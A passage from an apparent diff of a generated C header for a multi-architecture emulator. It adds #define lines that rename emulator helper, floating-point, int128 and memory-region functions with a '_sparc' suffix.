helper_le_ldsl_mmu_sparc +#define helper_le_ldsw_mmu helper_le_ldsw_mmu_sparc +#define helper_le_ldul_mmu helper_le_ldul_mmu_sparc +#define helper_le_lduw_mmu helper_le_lduw_mmu_sparc +#define helper_le_ldw_cmmu helper_le_ldw_cmmu_sparc +#define helper_le_stl_mmu helper_le_stl_mmu_sparc +#define helper_le_stq_mmu helper_le_stq_mmu_sparc +#define helper_le_stw_mmu helper_le_stw_mmu_sparc +#define helper_msr_i_pstate helper_msr_i_pstate_sparc +#define helper_neon_abd_f32 helper_neon_abd_f32_sparc +#define helper_neon_abdl_s16 helper_neon_abdl_s16_sparc +#define helper_neon_abdl_s32 helper_neon_abdl_s32_sparc +#define helper_neon_abdl_s64 helper_neon_abdl_s64_sparc +#define helper_neon_abdl_u16 helper_neon_abdl_u16_sparc +#define helper_neon_abdl_u32 helper_neon_abdl_u32_sparc +#define helper_neon_abdl_u64 helper_neon_abdl_u64_sparc +#define helper_neon_abd_s16 helper_neon_abd_s16_sparc +#define helper_neon_abd_s32 helper_neon_abd_s32_sparc +#define helper_neon_abd_s8 helper_neon_abd_s8_sparc +#define helper_neon_abd_u16 helper_neon_abd_u16_sparc +#define helper_neon_abd_u32 helper_neon_abd_u32_sparc +#define helper_neon_abd_u8 helper_neon_abd_u8_sparc +#define helper_neon_abs_s16 helper_neon_abs_s16_sparc +#define helper_neon_abs_s8 helper_neon_abs_s8_sparc +#define helper_neon_acge_f32 helper_neon_acge_f32_sparc +#define helper_neon_acge_f64 helper_neon_acge_f64_sparc +#define helper_neon_acgt_f32 helper_neon_acgt_f32_sparc +#define helper_neon_acgt_f64 helper_neon_acgt_f64_sparc +#define helper_neon_addl_saturate_s32 helper_neon_addl_saturate_s32_sparc +#define helper_neon_addl_saturate_s64 helper_neon_addl_saturate_s64_sparc +#define helper_neon_addl_u16 helper_neon_addl_u16_sparc +#define helper_neon_addl_u32 helper_neon_addl_u32_sparc +#define helper_neon_add_u16 helper_neon_add_u16_sparc +#define helper_neon_add_u8 helper_neon_add_u8_sparc +#define helper_neon_ceq_f32 helper_neon_ceq_f32_sparc +#define helper_neon_ceq_u16 helper_neon_ceq_u16_sparc +#define helper_neon_ceq_u32 helper_neon_ceq_u32_sparc +#define helper_neon_ceq_u8 helper_neon_ceq_u8_sparc +#define helper_neon_cge_f32 helper_neon_cge_f32_sparc +#define helper_neon_cge_s16 helper_neon_cge_s16_sparc +#define helper_neon_cge_s32 helper_neon_cge_s32_sparc +#define helper_neon_cge_s8 helper_neon_cge_s8_sparc +#define helper_neon_cge_u16 helper_neon_cge_u16_sparc +#define helper_neon_cge_u32 helper_neon_cge_u32_sparc +#define helper_neon_cge_u8 helper_neon_cge_u8_sparc +#define helper_neon_cgt_f32 helper_neon_cgt_f32_sparc +#define helper_neon_cgt_s16 helper_neon_cgt_s16_sparc +#define helper_neon_cgt_s32 helper_neon_cgt_s32_sparc +#define helper_neon_cgt_s8 helper_neon_cgt_s8_sparc +#define helper_neon_cgt_u16 helper_neon_cgt_u16_sparc +#define helper_neon_cgt_u32 helper_neon_cgt_u32_sparc +#define helper_neon_cgt_u8 helper_neon_cgt_u8_sparc +#define helper_neon_cls_s16 helper_neon_cls_s16_sparc +#define helper_neon_cls_s32 helper_neon_cls_s32_sparc +#define helper_neon_cls_s8 helper_neon_cls_s8_sparc +#define helper_neon_clz_u16 helper_neon_clz_u16_sparc +#define helper_neon_clz_u8 helper_neon_clz_u8_sparc +#define helper_neon_cnt_u8 helper_neon_cnt_u8_sparc +#define helper_neon_fcvt_f16_to_f32 helper_neon_fcvt_f16_to_f32_sparc +#define helper_neon_fcvt_f32_to_f16 helper_neon_fcvt_f32_to_f16_sparc +#define helper_neon_hadd_s16 helper_neon_hadd_s16_sparc +#define helper_neon_hadd_s32 helper_neon_hadd_s32_sparc +#define helper_neon_hadd_s8 helper_neon_hadd_s8_sparc +#define helper_neon_hadd_u16 helper_neon_hadd_u16_sparc +#define helper_neon_hadd_u32 helper_neon_hadd_u32_sparc +#define helper_neon_hadd_u8 helper_neon_hadd_u8_sparc +#define helper_neon_hsub_s16 helper_neon_hsub_s16_sparc +#define helper_neon_hsub_s32 helper_neon_hsub_s32_sparc +#define helper_neon_hsub_s8 helper_neon_hsub_s8_sparc +#define helper_neon_hsub_u16 helper_neon_hsub_u16_sparc +#define helper_neon_hsub_u32 helper_neon_hsub_u32_sparc +#define helper_neon_hsub_u8 helper_neon_hsub_u8_sparc +#define helper_neon_max_s16 helper_neon_max_s16_sparc +#define helper_neon_max_s32 helper_neon_max_s32_sparc +#define helper_neon_max_s8 helper_neon_max_s8_sparc +#define helper_neon_max_u16 helper_neon_max_u16_sparc +#define helper_neon_max_u32 helper_neon_max_u32_sparc +#define helper_neon_max_u8 helper_neon_max_u8_sparc +#define helper_neon_min_s16 helper_neon_min_s16_sparc +#define helper_neon_min_s32 helper_neon_min_s32_sparc +#define helper_neon_min_s8 helper_neon_min_s8_sparc +#define helper_neon_min_u16 helper_neon_min_u16_sparc +#define helper_neon_min_u32 helper_neon_min_u32_sparc +#define helper_neon_min_u8 helper_neon_min_u8_sparc +#define helper_neon_mull_p8 helper_neon_mull_p8_sparc +#define helper_neon_mull_s16 helper_neon_mull_s16_sparc +#define helper_neon_mull_s8 helper_neon_mull_s8_sparc +#define helper_neon_mull_u16 helper_neon_mull_u16_sparc +#define helper_neon_mull_u8 helper_neon_mull_u8_sparc +#define helper_neon_mul_p8 helper_neon_mul_p8_sparc +#define helper_neon_mul_u16 helper_neon_mul_u16_sparc +#define helper_neon_mul_u8 helper_neon_mul_u8_sparc +#define helper_neon_narrow_high_u16 helper_neon_narrow_high_u16_sparc +#define helper_neon_narrow_high_u8 helper_neon_narrow_high_u8_sparc +#define helper_neon_narrow_round_high_u16 helper_neon_narrow_round_high_u16_sparc +#define helper_neon_narrow_round_high_u8 helper_neon_narrow_round_high_u8_sparc +#define helper_neon_narrow_sat_s16 helper_neon_narrow_sat_s16_sparc +#define helper_neon_narrow_sat_s32 helper_neon_narrow_sat_s32_sparc +#define helper_neon_narrow_sat_s8 helper_neon_narrow_sat_s8_sparc +#define helper_neon_narrow_sat_u16 helper_neon_narrow_sat_u16_sparc +#define helper_neon_narrow_sat_u32 helper_neon_narrow_sat_u32_sparc +#define helper_neon_narrow_sat_u8 helper_neon_narrow_sat_u8_sparc +#define helper_neon_narrow_u16 helper_neon_narrow_u16_sparc +#define helper_neon_narrow_u8 helper_neon_narrow_u8_sparc +#define helper_neon_negl_u16 helper_neon_negl_u16_sparc +#define helper_neon_negl_u32 helper_neon_negl_u32_sparc +#define helper_neon_paddl_u16 helper_neon_paddl_u16_sparc +#define helper_neon_paddl_u32 helper_neon_paddl_u32_sparc +#define helper_neon_padd_u16 helper_neon_padd_u16_sparc +#define helper_neon_padd_u8 helper_neon_padd_u8_sparc +#define helper_neon_pmax_s16 helper_neon_pmax_s16_sparc +#define helper_neon_pmax_s8 helper_neon_pmax_s8_sparc +#define helper_neon_pmax_u16 helper_neon_pmax_u16_sparc +#define helper_neon_pmax_u8 helper_neon_pmax_u8_sparc +#define helper_neon_pmin_s16 helper_neon_pmin_s16_sparc +#define helper_neon_pmin_s8 helper_neon_pmin_s8_sparc +#define helper_neon_pmin_u16 helper_neon_pmin_u16_sparc +#define helper_neon_pmin_u8 helper_neon_pmin_u8_sparc +#define helper_neon_pmull_64_hi helper_neon_pmull_64_hi_sparc +#define helper_neon_pmull_64_lo helper_neon_pmull_64_lo_sparc +#define helper_neon_qabs_s16 helper_neon_qabs_s16_sparc +#define helper_neon_qabs_s32 helper_neon_qabs_s32_sparc +#define helper_neon_qabs_s64 helper_neon_qabs_s64_sparc +#define helper_neon_qabs_s8 helper_neon_qabs_s8_sparc +#define helper_neon_qadd_s16 helper_neon_qadd_s16_sparc +#define helper_neon_qadd_s32 helper_neon_qadd_s32_sparc +#define helper_neon_qadd_s64 helper_neon_qadd_s64_sparc +#define helper_neon_qadd_s8 helper_neon_qadd_s8_sparc +#define helper_neon_qadd_u16 helper_neon_qadd_u16_sparc +#define helper_neon_qadd_u32 helper_neon_qadd_u32_sparc +#define helper_neon_qadd_u64 helper_neon_qadd_u64_sparc +#define helper_neon_qadd_u8 helper_neon_qadd_u8_sparc +#define helper_neon_qdmulh_s16 helper_neon_qdmulh_s16_sparc +#define helper_neon_qdmulh_s32 helper_neon_qdmulh_s32_sparc +#define helper_neon_qneg_s16 helper_neon_qneg_s16_sparc +#define helper_neon_qneg_s32 helper_neon_qneg_s32_sparc +#define helper_neon_qneg_s64 helper_neon_qneg_s64_sparc +#define helper_neon_qneg_s8 helper_neon_qneg_s8_sparc +#define helper_neon_qrdmulh_s16 helper_neon_qrdmulh_s16_sparc +#define helper_neon_qrdmulh_s32 helper_neon_qrdmulh_s32_sparc +#define helper_neon_qrshl_s16 helper_neon_qrshl_s16_sparc +#define helper_neon_qrshl_s32 helper_neon_qrshl_s32_sparc +#define helper_neon_qrshl_s64 helper_neon_qrshl_s64_sparc +#define helper_neon_qrshl_s8 helper_neon_qrshl_s8_sparc +#define helper_neon_qrshl_u16 helper_neon_qrshl_u16_sparc +#define helper_neon_qrshl_u32 helper_neon_qrshl_u32_sparc +#define helper_neon_qrshl_u64 helper_neon_qrshl_u64_sparc +#define helper_neon_qrshl_u8 helper_neon_qrshl_u8_sparc +#define helper_neon_qshl_s16 helper_neon_qshl_s16_sparc +#define helper_neon_qshl_s32 helper_neon_qshl_s32_sparc +#define helper_neon_qshl_s64 helper_neon_qshl_s64_sparc +#define helper_neon_qshl_s8 helper_neon_qshl_s8_sparc +#define helper_neon_qshl_u16 helper_neon_qshl_u16_sparc +#define helper_neon_qshl_u32 helper_neon_qshl_u32_sparc +#define helper_neon_qshl_u64 helper_neon_qshl_u64_sparc +#define helper_neon_qshl_u8 helper_neon_qshl_u8_sparc +#define helper_neon_qshlu_s16 helper_neon_qshlu_s16_sparc +#define helper_neon_qshlu_s32 helper_neon_qshlu_s32_sparc +#define helper_neon_qshlu_s64 helper_neon_qshlu_s64_sparc +#define helper_neon_qshlu_s8 helper_neon_qshlu_s8_sparc +#define helper_neon_qsub_s16 helper_neon_qsub_s16_sparc +#define helper_neon_qsub_s32 helper_neon_qsub_s32_sparc +#define helper_neon_qsub_s64 helper_neon_qsub_s64_sparc +#define helper_neon_qsub_s8 helper_neon_qsub_s8_sparc +#define helper_neon_qsub_u16 helper_neon_qsub_u16_sparc +#define helper_neon_qsub_u32 helper_neon_qsub_u32_sparc +#define helper_neon_qsub_u64 helper_neon_qsub_u64_sparc +#define helper_neon_qsub_u8 helper_neon_qsub_u8_sparc +#define helper_neon_qunzip16 helper_neon_qunzip16_sparc +#define helper_neon_qunzip32 helper_neon_qunzip32_sparc +#define helper_neon_qunzip8 helper_neon_qunzip8_sparc +#define helper_neon_qzip16 helper_neon_qzip16_sparc +#define helper_neon_qzip32 helper_neon_qzip32_sparc +#define helper_neon_qzip8 helper_neon_qzip8_sparc +#define helper_neon_rbit_u8 helper_neon_rbit_u8_sparc +#define helper_neon_rhadd_s16 helper_neon_rhadd_s16_sparc +#define helper_neon_rhadd_s32 helper_neon_rhadd_s32_sparc +#define helper_neon_rhadd_s8 helper_neon_rhadd_s8_sparc +#define helper_neon_rhadd_u16 helper_neon_rhadd_u16_sparc +#define helper_neon_rhadd_u32 helper_neon_rhadd_u32_sparc +#define helper_neon_rhadd_u8 helper_neon_rhadd_u8_sparc +#define helper_neon_rshl_s16 helper_neon_rshl_s16_sparc +#define helper_neon_rshl_s32 helper_neon_rshl_s32_sparc +#define helper_neon_rshl_s64 helper_neon_rshl_s64_sparc +#define helper_neon_rshl_s8 helper_neon_rshl_s8_sparc +#define helper_neon_rshl_u16 helper_neon_rshl_u16_sparc +#define helper_neon_rshl_u32 helper_neon_rshl_u32_sparc +#define helper_neon_rshl_u64 helper_neon_rshl_u64_sparc +#define helper_neon_rshl_u8 helper_neon_rshl_u8_sparc +#define helper_neon_shl_s16 helper_neon_shl_s16_sparc +#define helper_neon_shl_s32 helper_neon_shl_s32_sparc +#define helper_neon_shl_s64 helper_neon_shl_s64_sparc +#define helper_neon_shl_s8 helper_neon_shl_s8_sparc +#define helper_neon_shl_u16 helper_neon_shl_u16_sparc +#define helper_neon_shl_u32 helper_neon_shl_u32_sparc +#define helper_neon_shl_u64 helper_neon_shl_u64_sparc +#define helper_neon_shl_u8 helper_neon_shl_u8_sparc +#define helper_neon_sqadd_u16 helper_neon_sqadd_u16_sparc +#define helper_neon_sqadd_u32 helper_neon_sqadd_u32_sparc +#define helper_neon_sqadd_u64 helper_neon_sqadd_u64_sparc +#define helper_neon_sqadd_u8 helper_neon_sqadd_u8_sparc +#define helper_neon_subl_u16 helper_neon_subl_u16_sparc +#define helper_neon_subl_u32 helper_neon_subl_u32_sparc +#define helper_neon_sub_u16 helper_neon_sub_u16_sparc +#define helper_neon_sub_u8 helper_neon_sub_u8_sparc +#define helper_neon_tbl helper_neon_tbl_sparc +#define helper_neon_tst_u16 helper_neon_tst_u16_sparc +#define helper_neon_tst_u32 helper_neon_tst_u32_sparc +#define helper_neon_tst_u8 helper_neon_tst_u8_sparc +#define helper_neon_unarrow_sat16 helper_neon_unarrow_sat16_sparc +#define helper_neon_unarrow_sat32 helper_neon_unarrow_sat32_sparc +#define helper_neon_unarrow_sat8 helper_neon_unarrow_sat8_sparc +#define helper_neon_unzip16 helper_neon_unzip16_sparc +#define helper_neon_unzip8 helper_neon_unzip8_sparc +#define helper_neon_uqadd_s16 helper_neon_uqadd_s16_sparc +#define helper_neon_uqadd_s32 helper_neon_uqadd_s32_sparc +#define helper_neon_uqadd_s64 helper_neon_uqadd_s64_sparc +#define helper_neon_uqadd_s8 helper_neon_uqadd_s8_sparc +#define helper_neon_widen_s16 helper_neon_widen_s16_sparc +#define helper_neon_widen_s8 helper_neon_widen_s8_sparc +#define helper_neon_widen_u16 helper_neon_widen_u16_sparc +#define helper_neon_widen_u8 helper_neon_widen_u8_sparc +#define helper_neon_zip16 helper_neon_zip16_sparc +#define helper_neon_zip8 helper_neon_zip8_sparc +#define helper_pre_hvc helper_pre_hvc_sparc +#define helper_pre_smc helper_pre_smc_sparc +#define helper_qadd16 helper_qadd16_sparc +#define helper_qadd8 helper_qadd8_sparc +#define helper_qaddsubx helper_qaddsubx_sparc +#define helper_qsub16 helper_qsub16_sparc +#define helper_qsub8 helper_qsub8_sparc +#define helper_qsubaddx helper_qsubaddx_sparc +#define helper_rbit helper_rbit_sparc +#define helper_recpe_f32 helper_recpe_f32_sparc +#define helper_recpe_f64 helper_recpe_f64_sparc +#define helper_recpe_u32 helper_recpe_u32_sparc +#define helper_recps_f32 helper_recps_f32_sparc +#define helper_ret_ldb_cmmu helper_ret_ldb_cmmu_sparc +#define helper_ret_ldsb_mmu helper_ret_ldsb_mmu_sparc +#define helper_ret_ldub_mmu helper_ret_ldub_mmu_sparc +#define helper_ret_stb_mmu helper_ret_stb_mmu_sparc +#define helper_rintd helper_rintd_sparc +#define helper_rintd_exact helper_rintd_exact_sparc +#define helper_rints helper_rints_sparc +#define helper_rints_exact helper_rints_exact_sparc +#define helper_ror_cc helper_ror_cc_sparc +#define helper_rsqrte_f32 helper_rsqrte_f32_sparc +#define helper_rsqrte_f64 helper_rsqrte_f64_sparc +#define helper_rsqrte_u32 helper_rsqrte_u32_sparc +#define helper_rsqrts_f32 helper_rsqrts_f32_sparc +#define helper_sadd16 helper_sadd16_sparc +#define helper_sadd8 helper_sadd8_sparc +#define helper_saddsubx helper_saddsubx_sparc +#define helper_sar_cc helper_sar_cc_sparc +#define helper_sdiv helper_sdiv_sparc +#define helper_sel_flags helper_sel_flags_sparc +#define helper_set_cp_reg helper_set_cp_reg_sparc +#define helper_set_cp_reg64 helper_set_cp_reg64_sparc +#define helper_set_neon_rmode helper_set_neon_rmode_sparc +#define helper_set_r13_banked helper_set_r13_banked_sparc +#define helper_set_rmode helper_set_rmode_sparc +#define helper_set_user_reg helper_set_user_reg_sparc +#define helper_shadd16 helper_shadd16_sparc +#define helper_shadd8 helper_shadd8_sparc +#define helper_shaddsubx helper_shaddsubx_sparc +#define helper_shl_cc helper_shl_cc_sparc +#define helper_shr_cc helper_shr_cc_sparc +#define helper_shsub16 helper_shsub16_sparc +#define helper_shsub8 helper_shsub8_sparc +#define helper_shsubaddx helper_shsubaddx_sparc +#define helper_ssat helper_ssat_sparc +#define helper_ssat16 helper_ssat16_sparc +#define helper_ssub16 helper_ssub16_sparc +#define helper_ssub8 helper_ssub8_sparc +#define helper_ssubaddx helper_ssubaddx_sparc +#define helper_stb_mmu helper_stb_mmu_sparc +#define helper_stl_mmu helper_stl_mmu_sparc +#define helper_stq_mmu helper_stq_mmu_sparc +#define helper_stw_mmu helper_stw_mmu_sparc +#define helper_sub_saturate helper_sub_saturate_sparc +#define helper_sub_usaturate helper_sub_usaturate_sparc +#define helper_sxtb16 helper_sxtb16_sparc +#define helper_uadd16 helper_uadd16_sparc +#define helper_uadd8 helper_uadd8_sparc +#define helper_uaddsubx helper_uaddsubx_sparc +#define helper_udiv helper_udiv_sparc +#define helper_uhadd16 helper_uhadd16_sparc +#define helper_uhadd8 helper_uhadd8_sparc +#define helper_uhaddsubx helper_uhaddsubx_sparc +#define helper_uhsub16 helper_uhsub16_sparc +#define helper_uhsub8 helper_uhsub8_sparc +#define helper_uhsubaddx helper_uhsubaddx_sparc +#define helper_uqadd16 helper_uqadd16_sparc +#define helper_uqadd8 helper_uqadd8_sparc +#define helper_uqaddsubx helper_uqaddsubx_sparc +#define helper_uqsub16 helper_uqsub16_sparc +#define helper_uqsub8 helper_uqsub8_sparc +#define helper_uqsubaddx helper_uqsubaddx_sparc +#define helper_usad8 helper_usad8_sparc +#define helper_usat helper_usat_sparc +#define helper_usat16 helper_usat16_sparc +#define helper_usub16 helper_usub16_sparc +#define helper_usub8 helper_usub8_sparc +#define helper_usubaddx helper_usubaddx_sparc +#define helper_uxtb16 helper_uxtb16_sparc +#define helper_v7m_mrs helper_v7m_mrs_sparc +#define helper_v7m_msr helper_v7m_msr_sparc +#define helper_vfp_absd helper_vfp_absd_sparc +#define helper_vfp_abss helper_vfp_abss_sparc +#define helper_vfp_addd helper_vfp_addd_sparc +#define helper_vfp_adds helper_vfp_adds_sparc +#define helper_vfp_cmpd helper_vfp_cmpd_sparc +#define helper_vfp_cmped helper_vfp_cmped_sparc +#define helper_vfp_cmpes helper_vfp_cmpes_sparc +#define helper_vfp_cmps helper_vfp_cmps_sparc +#define helper_vfp_divd helper_vfp_divd_sparc +#define helper_vfp_divs helper_vfp_divs_sparc +#define helper_vfp_fcvtds helper_vfp_fcvtds_sparc +#define helper_vfp_fcvt_f16_to_f32 helper_vfp_fcvt_f16_to_f32_sparc +#define helper_vfp_fcvt_f16_to_f64 helper_vfp_fcvt_f16_to_f64_sparc +#define helper_vfp_fcvt_f32_to_f16 helper_vfp_fcvt_f32_to_f16_sparc +#define helper_vfp_fcvt_f64_to_f16 helper_vfp_fcvt_f64_to_f16_sparc +#define helper_vfp_fcvtsd helper_vfp_fcvtsd_sparc +#define helper_vfp_get_fpscr helper_vfp_get_fpscr_sparc +#define helper_vfp_maxd helper_vfp_maxd_sparc +#define helper_vfp_maxnumd helper_vfp_maxnumd_sparc +#define helper_vfp_maxnums helper_vfp_maxnums_sparc +#define helper_vfp_maxs helper_vfp_maxs_sparc +#define helper_vfp_mind helper_vfp_mind_sparc +#define helper_vfp_minnumd helper_vfp_minnumd_sparc +#define helper_vfp_minnums helper_vfp_minnums_sparc +#define helper_vfp_mins helper_vfp_mins_sparc +#define helper_vfp_muladdd helper_vfp_muladdd_sparc +#define helper_vfp_muladds helper_vfp_muladds_sparc +#define helper_vfp_muld helper_vfp_muld_sparc +#define helper_vfp_muls helper_vfp_muls_sparc +#define helper_vfp_negd helper_vfp_negd_sparc +#define helper_vfp_negs helper_vfp_negs_sparc +#define helper_vfp_set_fpscr helper_vfp_set_fpscr_sparc +#define helper_vfp_shtod helper_vfp_shtod_sparc +#define helper_vfp_shtos helper_vfp_shtos_sparc +#define helper_vfp_sitod helper_vfp_sitod_sparc +#define helper_vfp_sitos helper_vfp_sitos_sparc +#define helper_vfp_sltod helper_vfp_sltod_sparc +#define helper_vfp_sltos helper_vfp_sltos_sparc +#define helper_vfp_sqrtd helper_vfp_sqrtd_sparc +#define helper_vfp_sqrts helper_vfp_sqrts_sparc +#define helper_vfp_sqtod helper_vfp_sqtod_sparc +#define helper_vfp_sqtos helper_vfp_sqtos_sparc +#define helper_vfp_subd helper_vfp_subd_sparc +#define helper_vfp_subs helper_vfp_subs_sparc +#define helper_vfp_toshd helper_vfp_toshd_sparc +#define helper_vfp_toshd_round_to_zero helper_vfp_toshd_round_to_zero_sparc +#define helper_vfp_toshs helper_vfp_toshs_sparc +#define helper_vfp_toshs_round_to_zero helper_vfp_toshs_round_to_zero_sparc +#define helper_vfp_tosid helper_vfp_tosid_sparc +#define helper_vfp_tosis helper_vfp_tosis_sparc +#define helper_vfp_tosizd helper_vfp_tosizd_sparc +#define helper_vfp_tosizs helper_vfp_tosizs_sparc +#define helper_vfp_tosld helper_vfp_tosld_sparc +#define helper_vfp_tosld_round_to_zero helper_vfp_tosld_round_to_zero_sparc +#define helper_vfp_tosls helper_vfp_tosls_sparc +#define helper_vfp_tosls_round_to_zero helper_vfp_tosls_round_to_zero_sparc +#define helper_vfp_tosqd helper_vfp_tosqd_sparc +#define helper_vfp_tosqs helper_vfp_tosqs_sparc +#define helper_vfp_touhd helper_vfp_touhd_sparc +#define helper_vfp_touhd_round_to_zero helper_vfp_touhd_round_to_zero_sparc +#define helper_vfp_touhs helper_vfp_touhs_sparc +#define helper_vfp_touhs_round_to_zero helper_vfp_touhs_round_to_zero_sparc +#define helper_vfp_touid helper_vfp_touid_sparc +#define helper_vfp_touis helper_vfp_touis_sparc +#define helper_vfp_touizd helper_vfp_touizd_sparc +#define helper_vfp_touizs helper_vfp_touizs_sparc +#define helper_vfp_tould helper_vfp_tould_sparc +#define helper_vfp_tould_round_to_zero helper_vfp_tould_round_to_zero_sparc +#define helper_vfp_touls helper_vfp_touls_sparc +#define helper_vfp_touls_round_to_zero helper_vfp_touls_round_to_zero_sparc +#define helper_vfp_touqd helper_vfp_touqd_sparc +#define helper_vfp_touqs helper_vfp_touqs_sparc +#define helper_vfp_uhtod helper_vfp_uhtod_sparc +#define helper_vfp_uhtos helper_vfp_uhtos_sparc +#define helper_vfp_uitod helper_vfp_uitod_sparc +#define helper_vfp_uitos helper_vfp_uitos_sparc +#define helper_vfp_ultod helper_vfp_ultod_sparc +#define helper_vfp_ultos helper_vfp_ultos_sparc +#define helper_vfp_uqtod helper_vfp_uqtod_sparc +#define helper_vfp_uqtos helper_vfp_uqtos_sparc +#define helper_wfe helper_wfe_sparc +#define helper_wfi helper_wfi_sparc +#define hex2decimal hex2decimal_sparc +#define hw_breakpoint_update hw_breakpoint_update_sparc +#define hw_breakpoint_update_all hw_breakpoint_update_all_sparc +#define hw_watchpoint_update hw_watchpoint_update_sparc +#define hw_watchpoint_update_all hw_watchpoint_update_all_sparc +#define _init _init_sparc +#define init_cpreg_list init_cpreg_list_sparc +#define init_lists init_lists_sparc +#define input_type_enum input_type_enum_sparc +#define int128_2_64 int128_2_64_sparc +#define int128_add int128_add_sparc +#define int128_addto int128_addto_sparc +#define int128_and int128_and_sparc +#define int128_eq int128_eq_sparc +#define int128_ge int128_ge_sparc +#define int128_get64 int128_get64_sparc +#define int128_gt int128_gt_sparc +#define int128_le int128_le_sparc +#define int128_lt int128_lt_sparc +#define int128_make64 int128_make64_sparc +#define int128_max int128_max_sparc +#define int128_min int128_min_sparc +#define int128_ne int128_ne_sparc +#define int128_neg int128_neg_sparc +#define int128_nz int128_nz_sparc +#define int128_rshift int128_rshift_sparc +#define int128_sub int128_sub_sparc +#define int128_subfrom int128_subfrom_sparc +#define int128_zero int128_zero_sparc +#define int16_to_float32 int16_to_float32_sparc +#define int16_to_float64 int16_to_float64_sparc +#define int32_to_float128 int32_to_float128_sparc +#define int32_to_float32 int32_to_float32_sparc +#define int32_to_float64 int32_to_float64_sparc +#define int32_to_floatx80 int32_to_floatx80_sparc +#define int64_to_float128 int64_to_float128_sparc +#define int64_to_float32 int64_to_float32_sparc +#define int64_to_float64 int64_to_float64_sparc +#define int64_to_floatx80 int64_to_floatx80_sparc +#define invalidate_and_set_dirty invalidate_and_set_dirty_sparc +#define invalidate_page_bitmap invalidate_page_bitmap_sparc +#define io_mem_read io_mem_read_sparc +#define io_mem_write io_mem_write_sparc +#define io_readb io_readb_sparc +#define io_readl io_readl_sparc +#define io_readq io_readq_sparc +#define io_readw io_readw_sparc +#define iotlb_to_region iotlb_to_region_sparc +#define io_writeb io_writeb_sparc +#define io_writel io_writel_sparc +#define io_writeq io_writeq_sparc +#define io_writew io_writew_sparc +#define is_a64 is_a64_sparc +#define is_help_option is_help_option_sparc +#define isr_read isr_read_sparc +#define is_valid_option_list is_valid_option_list_sparc +#define iwmmxt_load_creg iwmmxt_load_creg_sparc +#define iwmmxt_load_reg iwmmxt_load_reg_sparc +#define iwmmxt_store_creg iwmmxt_store_creg_sparc +#define iwmmxt_store_reg iwmmxt_store_reg_sparc +#define __jit_debug_descriptor __jit_debug_descriptor_sparc +#define __jit_debug_register_code __jit_debug_register_code_sparc +#define kvm_to_cpreg_id kvm_to_cpreg_id_sparc +#define last_ram_offset last_ram_offset_sparc +#define ldl_be_p ldl_be_p_sparc +#define ldl_be_phys ldl_be_phys_sparc +#define ldl_he_p ldl_he_p_sparc +#define ldl_le_p ldl_le_p_sparc +#define ldl_le_phys ldl_le_phys_sparc +#define ldl_phys ldl_phys_sparc +#define ldl_phys_internal ldl_phys_internal_sparc +#define ldq_be_p ldq_be_p_sparc +#define ldq_be_phys ldq_be_phys_sparc +#define ldq_he_p ldq_he_p_sparc +#define ldq_le_p ldq_le_p_sparc +#define ldq_le_phys ldq_le_phys_sparc +#define ldq_phys ldq_phys_sparc +#define ldq_phys_internal ldq_phys_internal_sparc +#define ldst_name ldst_name_sparc +#define ldub_p ldub_p_sparc +#define ldub_phys ldub_phys_sparc +#define lduw_be_p lduw_be_p_sparc +#define lduw_be_phys lduw_be_phys_sparc +#define lduw_he_p lduw_he_p_sparc +#define lduw_le_p lduw_le_p_sparc +#define lduw_le_phys lduw_le_phys_sparc +#define lduw_phys lduw_phys_sparc +#define lduw_phys_internal lduw_phys_internal_sparc +#define le128 le128_sparc +#define linked_bp_matches linked_bp_matches_sparc +#define listener_add_address_space listener_add_address_space_sparc +#define load_cpu_offset load_cpu_offset_sparc +#define load_reg load_reg_sparc +#define load_reg_var load_reg_var_sparc +#define log_cpu_state log_cpu_state_sparc +#define lpae_cp_reginfo lpae_cp_reginfo_sparc +#define lt128 lt128_sparc +#define machine_class_init machine_class_init_sparc +#define machine_finalize machine_finalize_sparc +#define machine_info machine_info_sparc +#define machine_initfn machine_initfn_sparc +#define machine_register_types machine_register_types_sparc +#define machvirt_init machvirt_init_sparc +#define machvirt_machine_init machvirt_machine_init_sparc +#define maj maj_sparc +#define mapping_conflict mapping_conflict_sparc +#define mapping_contiguous mapping_contiguous_sparc +#define mapping_have_same_region mapping_have_same_region_sparc +#define mapping_merge mapping_merge_sparc +#define mem_add mem_add_sparc +#define mem_begin mem_begin_sparc +#define mem_commit mem_commit_sparc +#define memory_access_is_direct memory_access_is_direct_sparc +#define memory_access_size memory_access_size_sparc +#define memory_init memory_init_sparc +#define memory_listener_match memory_listener_match_sparc +#define memory_listener_register memory_listener_register_sparc +#define memory_listener_unregister memory_listener_unregister_sparc +#define memory_map_init memory_map_init_sparc +#define memory_mapping_filter memory_mapping_filter_sparc +#define memory_mapping_list_add_mapping_sorted memory_mapping_list_add_mapping_sorted_sparc +#define memory_mapping_list_add_merge_sorted memory_mapping_list_add_merge_sorted_sparc +#define memory_mapping_list_free memory_mapping_list_free_sparc +#define memory_mapping_list_init memory_mapping_list_init_sparc +#define memory_region_access_valid memory_region_access_valid_sparc +#define memory_region_add_subregion memory_region_add_subregion_sparc +#define memory_region_add_subregion_common memory_region_add_subregion_common_sparc +#define memory_region_add_subregion_overlap memory_region_add_subregion_overlap_sparc +#define memory_region_big_endian memory_region_big_endian_sparc +#define memory_region_clear_pending memory_region_clear_pending_sparc +#define memory_region_del_subregion memory_region_del_subregion_sparc +#define memory_region_destructor_alias memory_region_destructor_alias_sparc +#define memory_region_destructor_none memory_region_destructor_none_sparc +#define memory_region_destructor_ram memory_region_destructor_ram_sparc +#define memory_region_destructor_ram_from_ptr memory_region_destructor_ram_from_ptr_sparc +#define memory_region_dispatch_read memory_region_dispatch_read_sparc +#define memory_region_dispatch_read1 memory_region_dispatch_read1_sparc +#define memory_region_dispatch_write memory_region_dispatch_write_sparc +#define memory_region_escape_name memory_region_escape_name_sparc +#define memory_region_finalize memory_region_finalize_sparc +#define memory_region_find memory_region_find_sparc +#define memory_region_get_addr memory_region_get_addr_sparc +#define memory_region_get_alignment memory_region_get_alignment_sparc +#define memory_region_get_container memory_region_get_container_sparc +#define memory_region_get_fd memory_region_get_fd_sparc +#define memory_region_get_may_overlap memory_region_get_may_overlap_sparc +#define memory_region_get_priority memory_region_get_priority_sparc +#define memory_region_get_ram_addr memory_region_get_ram_addr_sparc +#define memory_region_get_ram_ptr memory_region_get_ram_ptr_sparc +#define memory_region_get_size memory_region_get_size_sparc +#define memory_region_info memory_region_info_sparc +#define memory_region_init memory_region_init_sparc +#define memory_region_init_alias memory_region_init_alias_sparc +#define memory_region_initfn memory_region_initfn_sparc +#define memory_region_init_io memory_region_init_io_sparc +#define memory_region_init_ram memory_region_init_ram_sparc +#define 